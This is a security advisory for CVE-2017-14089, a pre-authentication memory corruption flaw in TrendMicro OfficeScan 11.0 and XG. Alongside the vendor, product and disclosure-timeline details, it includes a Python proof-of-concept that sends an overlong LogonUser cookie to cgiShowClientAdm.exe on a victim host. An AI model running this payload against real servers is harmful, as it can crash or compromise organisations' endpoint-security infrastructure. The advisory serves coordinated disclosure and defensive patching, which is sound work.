TrendMicro OfficeScan 11.0 / XG (12.0) Memory Corruption

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14089-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-REMOTE-MEMORY-CORRUPTION.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
==================  
www.trendmicro.com  
  
  
  
Product:  
========  
OfficeScan   
v11.0 and XG (12.0)*  
  
  
OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.  
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that  
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the  
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.  
  
  
Vulnerability Type:  
===================  
Unauthorized Remote Memory Corruption  
  
  
  
CVE Reference:  
==============  
CVE-2017-14089  
  
  
  
Security Issue:  
================  
Remote unauthenticated attackers that can make connection the TrendMicro OfficeScan XG application targeting the "cgiShowClientAdm.exe"  
process can cause memory corruption issues.  
  
  
References:  
===========  
https://success.trendmicro.com/solution/1118372  
  
  
  
Exploit/POC:  
=============  
import urllib,urllib2  
from urllib2 import Request  
  
print 'TrendMicro OfficeScan XG'  
print 'Stack Memory Corruption POC'  
print 'by hyp3rlinx\n'  
  
IP="VICTIM-IP:4343"  
  
PAYLOAD="A"*256  
  
url = urllib2.Request('https://'+IP+'/officescan/console/html/cgi/cgiShowClientAdm.exe')  
cookie="Cookie: serror=0; session_expired=no; FeatureEnableState=enableAntiBody@1|enableCCFR@1|enableCfw@1|enableDcs@1|enableSorting@0|enableSpy@1|enableVirus@1|HasAvAddSvc@1|installWSS@1|enableDLP@0|sqldbMode@0|enableIPv6@1|w2ksupport@0|; stamp=2231521137; timestamp=1497360567; DisabledIds=9999.; LogonUser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; ReadOnlyIds=8.56.; enableRba=1; key=16914202097564; session=666; LANG=en_US; PHPSESSID=WHATEVER123; lastID=34; lastTab=-1; theme=default; wf_CSRF_token=99999999999999999999999999999999; serror=0; retry=0; PHPSESSID=WHATEVERHERE; wf_CSRF_token=666; LANG=en_US; theme=default; lastID=33; lastTab=-1"  
  
print '\nsending packetz... \n'+ cookie  
  
##url.add_header("X-CSRFToken", "ee721b62aef83b017e8c86f52e38a411") #<============== X-CSRFToken IS NOT EVEN NEEDED!  
url.add_header("Content-Type", "application/x-www-form-urlencoded; charset=utf-8")  
url.add_header("Content-Length", "54")  
url.add_header("Cookie ",cookie)  
  
req=urllib2.urlopen(url)  
res = urllib2.urlopen(req)  
print res  
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
====================  
Vendor Notification: June 5, 2017  
Vendor releases fixes / advisory : September 27, 2017  
September 28, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`